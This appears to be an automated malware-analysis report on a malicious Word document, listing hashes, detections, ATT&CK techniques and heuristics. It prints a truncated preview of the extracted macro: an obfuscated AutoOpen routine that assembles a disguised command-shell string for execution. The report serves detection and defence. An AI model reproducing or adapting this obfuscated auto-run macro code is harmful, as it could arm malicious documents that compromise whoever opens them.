Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7e6aae073e053b24…

MALICIOUS

Office (OLE)

275.9 KB Created: 2018-09-25 07:51:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: e2b9d7e072e913adbccd793d27ecd74e SHA-1: 09de38dfeaa0582edd97fc54206c5c8722b5709b SHA-256: 7e6aae073e053b24e5ebc7db8340128e2def837970b07a0e42509bcc9dba43ef
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening the document. The critical heuristic firing for Shell() call in VBA indicates that the macro attempts to execute an external command. While the exact command is truncated, the presence of the Shell() function strongly suggests the download and execution of a secondary payload.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6697203-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6697203-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 276331 bytes
SHA-256: cd7a02580ccf4f772ea49371550b60d5746607dc3e23ef7d515a7129c8fc1a70
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iULVCpNAj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim fQcYPM(2)
fQcYPM(0) = Left(FWFCaa + qOtpTfkIDPztaVohIDbiY + aKHSVtDE, 297) + MidB(sIzfT + zvafBUCRdqOkZFZBU + voKzkp, 294, 185)
fQcYPM(1) = MidB(qVbJUuJ + TcaOBriHuGRQfbzDjimHA + KtbELQ, 203, 422) + Right(VaJGCifP + ZqzJiZKUjVajpjijpH + iiLLwi, 928)
   Dim VbDHI(2)
VbDHI(0) = MidB(rMZMLVvG + qwhBRMsCOuDkBnHBnX + iPrci, 193, 583) + Left(GiYinHDl + GBzocXIioFYfmlaNii + uzFdE, 304) + Right(PvIzE + OEABvPuwlljVdYiqDqWuY + kpcWp, 773) + MidB(LIhjc + PHrTfKardPOdksKtfFFb + NLSPbwFv, 64, 518)
VbDHI(1) = MidB(FMsJz + aatZSwFXPuKfvWSbKiJS + cHWzA, 422, 138) + Left(VXUlAQW + jIQkHjtCWfPQHTriZitnvw + wNHLoCml, 339)
   Dim znDGTl(2)
znDGTl(0) = MidB(FPBUKZ + nnUUnkvjuLqMBWwruW + CLdUjw, 855, 947) + MidB(AwwwY + DHZZZtatzzNfLORIJMA + zZoLfXEw, 826, 488)
znDGTl(1) = Right(CzcRXt + ujDIVnjiwFCHlcuvWvz + CPIOp, 828) + Mid(LCtNVj + nZiuUnHQcMczTBvGFiVp + mrFsO, 596, 470) + Left(iVRbo + sqNiKsBwAaaSjJki + XJzoX, 869) + MidB(dlHrwmi + zQwEuOEwrPlIrGUhQpm + VVOSi, 768, 507)
   Dim cDkTR(1)
cDkTR(0) = MidB(spfhJzMT + zWzRUhsQRYqUOZQqTHUKd + dqZiRZ, 690, 55) + Right(TEIVr + COBVRQXvdcrVXHEC + zzGRhO, 560)
   Dim RzrMR(2)
RzrMR(0) = MidB(IZfnPcP + iHzHNcvZEXqWpMEdzGowAJk + QXMqLj, 84, 609) + MidB(GoDRfN + lkTjOolppLwzcTJrhiq + oihpvpJ, 675, 139) + Left(ZBjIYEZr + SYdUcIVMIvwmHvqAfcr + tZcBTcE, 979) + Mid(WGDUS + NuODaPlYIjqjraaDfUBkDw + YdDaXT, 837, 281)
RzrMR(1) = Left(aTJqc + VImVvIuOBTMGzpMu + LXrcimZ, 146) + Mid(rzQioqEd + jJRXClzUUdiolJsQVimUMc + dSHljZOB, 51, 101) + MidB(smFlZLI + YCvLNzVoFupsWBOJakGjaRY + AuBTCO, 98, 296) + MidB(WZtGNz + AQDXrQzuRWVuoQuDbmdRmD + jjdsjA, 616, 463)
   Dim OkRzz(1)
OkRzz(0) = Right(sqDBVtUt + qRwMENriYAmPfRtGoUIqn + iamcAUSI, 956) + MidB(vJXdGPEu + YktPbmLhbJoFFGYfTG + jjjjL, 278, 880)
swiCqfBjh (KeyString(owTuRWl + BhYvR + 10 + 8 + 3 + 12 + 34 + MBBjjKf + fWNJjX) + wUfMuOI + HskKjtf + KeyString(uGLwdS + mzXATdH + 11 + 10 + 4 + 14 + 38 + zBOSmsiA + pGvcinP) + mcbUhiLkzvp + UlXEPWHM + LFLGvVI + BMQfhJoT + LLAzPC + ToRwRGcqdN + Dkrzimi + bHUYprjjC + jUKWa + qAEBiwdG + AFsiUGmEVQ + wpQjilZVz + hiVHPYFCp + uDuiGKqp + GzoujqsArY + HbXwTL + vujzlulQMhH + icNww + YKqsNZ + DQhiG)
   Dim fVMDLu(1)
fVMDLu(0) = MidB(cVjUunz + LMEZwlXUJBofdTOzriCbrW + znXIO, 330, 956) + Right(nWjkpj + MrwsMGiAbMIkMaahI + XijuatzP, 39) + MidB(rffqTk + zOplooaTJOBWkZLSfkLl + kthXVH, 809, 6) + Right(YhwsG + cFntBGFcHSBIQUDutww + BHjAmR, 370)
   Dim GjnPEL(1)
GjnPEL(0) = MidB(psEMdfH + dzsGPZvlRjmiMWPP + svNYjAz, 194, 852) + Left(wCKYQ + KbTTuNuAazHQsfpihfYL + ziomzFwi, 462) + Mid(KZBzdi + KlBJSNWlGLmPujFOhUD + oOfLAiDw, 114, 730) + Mid(zUWZZ + cMSBbGQYUkFGMDiOWGC + dHSwOjo, 151, 723)
   Dim PAIjPm(2)
PAIjPm(0) = Right(bKfrDAqn + WjTWMtzNCRbBcfNkFifEUP + iiFNdsS, 686) + Right(soPhRY + zICMMECjmrcwHQTHpo + tGQCZVY, 243)
PAIjPm(1) = MidB(wPZiWRA + IfsvblJQwQckJFvBDh + kqBsEh, 895, 26) + Left(NbDAL + QRHOqJzAVQVtzGIFZs + WzJXWo, 420)
End Sub


Attribute VB_Name = "KijmWjmbLtz"
Function mcbUhiLkzvp()
KipaNFsin = "d " + CStr(Chr(2 + 8 + 2 + 6 + 29)) + "V" + ":" + CStr(Chr(2 + 8 + 2 + 6 + 29)) + "C" + CStr(Chr(1 + 5 + 1 + 4 + 23)) + "s" + "^" + "e^" + "t " + ";" + "^$" + "="
HQTnNGA = "^3" + "0" + "1^" + " ^" + "30" + "9" + "^" + " " + "^" + "0^" + "5" + "1"
ASDTnDDVH = "^ " + "5" + "^1" + "9" + " " + "^5" + "91" + "^ " + "^1"
Dim ifVPwB(2)
ifVPwB(0) = MidB(OsoIn + oiaYtlBZEcwzjpkcA + sNWjS, 651, 544) + Right(SwCJc + FjwdvKqSGPJzdifpN + tDZdz, 195)
ifVPwB(1) = Right(nWjUftD + itfNMSwhISTiStqtDSL + kTsZisR, 504) + Right(HUWwhk + RBwPJjzlCKvuEdsatRo + jMfRvuJJ, 943) + Left(HiUJIbcG + oWlkSVJNOdLEfwHrtAwIc + IiSRph, 535) + MidB(puhdYUzj + wapNEwPVPpOIMFrwZwjc + JwiSZ, 25, 285)
   Dim RqMtn(1)
RqMtn(0) = Right(YJkBqtNf + XuSuzjXOOdWVmDUwOzUc + HZEbPR, 910) + Left(FwdaTHpD + VBnwwWiAZnDSYVpOwziGi + rltpZ, 909)
   D
... (truncated)

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